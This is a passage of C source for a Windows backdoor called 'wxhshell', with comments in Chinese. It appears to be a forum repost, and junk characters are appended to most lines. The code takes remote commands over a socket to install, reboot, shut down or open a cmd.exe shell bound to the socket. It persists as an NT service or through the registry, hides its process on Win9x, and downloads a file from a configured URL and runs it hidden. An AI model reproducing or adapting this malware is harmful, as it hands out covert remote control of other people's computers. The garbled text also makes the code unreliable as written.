    if(Install()) VteMsL/H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YM.Q?p4g  
    else N,ysv/zq7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -4!S?rHwd+  
    break; Nm4 h  
    } NPjNkpWm&=  
  // 卸载 :F`-<x/  
  case 'r': { c>.=;'2  
    if(Uninstall()) ]b'" l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bb9/nsbE  
    else p|9Eue3j2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~;/}D0k$x  
    break;  O3~7  
    } @T@lHc  
  // 显示 wxhshell 所在路径 f{+n$ Cos  
  case 'p': { ~U$ioQy<  
    char svExeFile[MAX_PATH]; wT@{=s,  
    strcpy(svExeFile,"\n\r"); }>$3B5}  
      strcat(svExeFile,ExeFile); sX[k}=HCK  
        send(wsh,svExeFile,strlen(svExeFile),0); -a\[`JHi  
    break; PSREQK@}E  
    } -?vII~a9y  
  // 重启 ]Mb:zs<r  
  case 'b': { !&#5 *  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V<ExR@|}.%  
    if(Boot(REBOOT)) ;%B:1Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y)uxj-G  
    else { hA:RVeS{  
    closesocket(wsh); D7|qFx;]g  
    ExitThread(0); 2qpUUo f  
    } M T]2n{e  
    break; 4D=^24f`0  
    } `PS^o#  
  // 关机 v4Mn@e_#c  
  case 'd': { aaRc?b'/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C7Ny-rj}IA  
    if(Boot(SHUTDOWN)) Gph:'3 *X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?M9?GodbP.  
    else { zTS P8Q7  
    closesocket(wsh); hmp!|Q[)  
    ExitThread(0); :sA$LNj}  
    } CXd/M~:!  
    break; \w@V7~vA  
    } XpIl-o&re  
  // 获取shell x=YV*  
  case 's': { Vqp 3'=No  
    CmdShell(wsh); N'n\_x  
    closesocket(wsh); :878q TB  
    ExitThread(0); [oD u3Qn  
    break; w{89@ XRC  
  } n7VQi+i'  
  // 退出 Z# o;H$  
  case 'x': { xua E\*m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wn/Y 5   
    CloseIt(wsh); gn)>(MG  
    break; aW*8t'm;m'  
    } 5fY7[{ 2  
  // 离开 Ng|c13A=  
  case 'q': { 'LMMo4o3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nh*hw[Ord  
    closesocket(wsh); )SzgMbF6  
    WSACleanup(); mRT$@xa]J  
    exit(1); m<I>NYfE  
    break; <_3OiU= w  
        } ]US  
  } pE381Cw  
  } [Z2mH  
GZzBATx  
  // 提示信息 sh)[|?7z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7p_B?r  
} ^,{ r[}  
  } 3A!Qu$r9  
)MeeF-Ad6  
  return; O#n=mJ  
} dM)x|b3z  
;5&=I|xqe  
// shell模块句柄 ^8V8,C)  
int CmdShell(SOCKET sock) /Y0oA3am  
{   |Sr  
STARTUPINFO si; ('1]f?:M  
ZeroMemory(&si,sizeof(si)); "'*Qq@!3?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wxa</n8S[n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nq"J[l*+g  
PROCESS_INFORMATION ProcessInfo; bx:j`5Uj`  
char cmdline[]="cmd"; w=kW~gg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cceh`s=cU  
  return 0; N7UGgn=  
} QC<O=<$Q[  
CXh >'K  
// 自身启动模式 w`X0^<Fv  
int StartFromService(void) o:PdPuZVR  
{ L "5;<  
typedef struct M,dp;  
{ g=e~YM85  
  DWORD ExitStatus; e'T|5I0K  
  DWORD PebBaseAddress; (d*~Qpi{7  
  DWORD AffinityMask; % 8P8h%%Z  
  DWORD BasePriority; C`["4  
  ULONG UniqueProcessId; Qb#iT}!p%  
  ULONG InheritedFromUniqueProcessId; +o|I@7f  
}   PROCESS_BASIC_INFORMATION; Xk`'m[  
{xRO.699  
PROCNTQSIP NtQueryInformationProcess; ,A[NcFdCB  
W.nr&yiQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l#&\,T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |-`-zo4z  
E_-g<Cw  
  HANDLE             hProcess; z<OfSS_]R  
  PROCESS_BASIC_INFORMATION pbi; GQ6~Si2  
FZ5 Ad&".@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~n;U5hcB  
  if(NULL == hInst ) return 0; O"9Or3w  
Bmv5yc+;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |h-e+Wh1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @+yjt'B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8fA8@O}  
@Px_\w  
  if (!NtQueryInformationProcess) return 0; yVt8QF!  
md;jj^8zj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bk@&k}0  
  if(!hProcess) return 0; Np@RK1}  
]ASTw(4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  L0>7v  
WZ N0`Od  
  CloseHandle(hProcess); <lP5}F87  
>!PCEw<i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p%-;hL!  
if(hProcess==NULL) return 0; wUKt$_]``  
;8g[y"I  
HMODULE hMod; 2#X>^LH  
char procName[255]; q.ZkQN+  
unsigned long cbNeeded; G2w0r,[  
-u~AY#*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4VP$, |a  
.5!Q(  
  CloseHandle(hProcess); `<(o;*&Gd  
#{5h6IC  
if(strstr(procName,"services")) return 1; // 以服务启动 ]SUW"5L-  
^K0oJg.E  
  return 0; // 注册表启动 OjsMT]  
} y*T@_on5  
8qwPk4  
// 主模块 O'S9y  
int StartWxhshell(LPSTR lpCmdLine) LF ;gdF%@  
{ bA07zI2  
  SOCKET wsl; Da ]zbz%%  
BOOL val=TRUE; ;R7+6  
  int port=0; UcWf O!}D  
  struct sockaddr_in door; 7ZFd;-  
+,UuJ6[n  
  if(wscfg.ws_autoins) Install(); x,Z:12H0  
Erm]uI9`  
port=atoi(lpCmdLine); ZJV;&[$[  
+\RviF[+  
if(port<=0) port=wscfg.ws_port; ql7N\COoq  
t;W'<.m_  
  WSADATA data; Cf.(/5X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3u oIYY  
YLp#z8 1e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I @ D<rjR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3XhLn/@  
  door.sin_family = AF_INET; V3$zlzSm,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Gh9m ]b  
  door.sin_port = htons(port); wUH:l  
@6V kNe9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X4/3vY  
closesocket(wsl); Kza5_ 7p`L  
return 1; %";ap8J04F  
} +<'>~lDg  
h y"=)n(  
  if(listen(wsl,2) == INVALID_SOCKET) { `gdk,L]  
closesocket(wsl); v,c;dlg_  
return 1; }i52MI1-XP  
} n!L}4Nmp  
  Wxhshell(wsl); @wh-.M D  
  WSACleanup(); 1 }_"2  
9,$ n 6t;  
return 0; e/zz.cd){  
4R& pb1eF  
} B:fulgh2ni  
K}QZdN']  
// 以NT服务方式启动 i([|@Y=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sPRs;to-  
{ QLb!e"C  
DWORD   status = 0; 95*=& d  
  DWORD   specificError = 0xfffffff; 7upN:7D-  
`FByME  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bf/z T0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xbc:Vr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;M5]XCP k  
  serviceStatus.dwWin32ExitCode     = 0; P]H4!}M  
  serviceStatus.dwServiceSpecificExitCode = 0; vY]7oX+  
  serviceStatus.dwCheckPoint       = 0; b"eG8  
  serviceStatus.dwWaitHint       = 0; !wIrI/P7#  
C,,S<=L:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B1va]=([)W  
  if (hServiceStatusHandle==0) return; 07>Iq8<mu  
H'jo 3d~+  
status = GetLastError(); F+9(*|x%  
  if (status!=NO_ERROR) ^\w!D{Y7Q  
{ ye`-U?7.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4#ZZwa]y  
    serviceStatus.dwCheckPoint       = 0; /e7BW0$1  
    serviceStatus.dwWaitHint       = 0; 6f&qtJQ<A  
    serviceStatus.dwWin32ExitCode     = status; |t_SN,)dd  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q\aC:68  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ),Igu  
    return; 3u4P [   
  } ADB,gap  
v|:TYpku3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nw=:+?  
  serviceStatus.dwCheckPoint       = 0; |\N))K-2D  
  serviceStatus.dwWaitHint       = 0; ;& zBNj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?;DzWCL~9  
} hzrS_v  
l:j>d^V*&x  
// 处理NT服务事件,比如:启动、停止 B1 xlWdm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?'^yw C`  
{ R RnT.MU  
switch(fdwControl) yAu .=Eo7  
{ +z+u=)I  
case SERVICE_CONTROL_STOP: F<(?N!C?@  
  serviceStatus.dwWin32ExitCode = 0; 34t[]v|LD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h 2C9p2.  
  serviceStatus.dwCheckPoint   = 0; Oo x,4 &  
  serviceStatus.dwWaitHint     = 0; Duq.`XO  
  { $;j{?dvm.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TTo5"r9I 8  
  } [ip}f4K  
  return; TchByN6oN<  
case SERVICE_CONTROL_PAUSE: |qtZb}"|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J+YoAf`hi  
  break; Ns.{$'ll  
case SERVICE_CONTROL_CONTINUE: h`:B8+k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c4M]q4]F  
  break; kjj?X|Un  
case SERVICE_CONTROL_INTERROGATE: <'vtnz  
  break; **F-#",  
}; I1W~;2cK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Gz*2i  
} K&;/hdS=F  
/}=cv>S5V  
// 标准应用程序主函数 EkEQFd 5g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) > 7 qZ\#  
{ p&ZLd`[  
 S=X_7V  
// 获取操作系统版本 yOyuMZo6  
OsIsNt=GetOsVer(); Y |aaZ|+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |],ocAN{  
jiP^Hz"e  
  // 从命令行安装 J pKCux  
  if(strpbrk(lpCmdLine,"iI")) Install(); L[lS >4e N  
?]0bR]}y  
  // 下载执行文件 B2,JfKk/  
if(wscfg.ws_downexe) { b#:!b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /y- 8dgv0a  
  WinExec(wscfg.ws_filenam,SW_HIDE); / a$B8,  
} qoOq47F  
z`Xc] cPi  
if(!OsIsNt) { _OJ19Ry  
// 如果时win9x,隐藏进程并且设置为注册表启动 0-8'. C1v  
HideProc(); xcQ:&q  
StartWxhshell(lpCmdLine); n(jrK9]  
} s^GE>rf  
else Pi=B\=gs  
  if(StartFromService()) ykNPKzW:  
  // 以服务方式启动 F,JqHa9  
  StartServiceCtrlDispatcher(DispatchTable); t8t+wi!  
else "^5%g%  
  // 普通方式启动 d? 4-"9Y  
  StartWxhshell(lpCmdLine); Fy^MI*}BZ  
YBQ{/"v%|  
return 0; ?$%2\"wX~7  
}
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只看该作者 1 发表于: 2006-10-10
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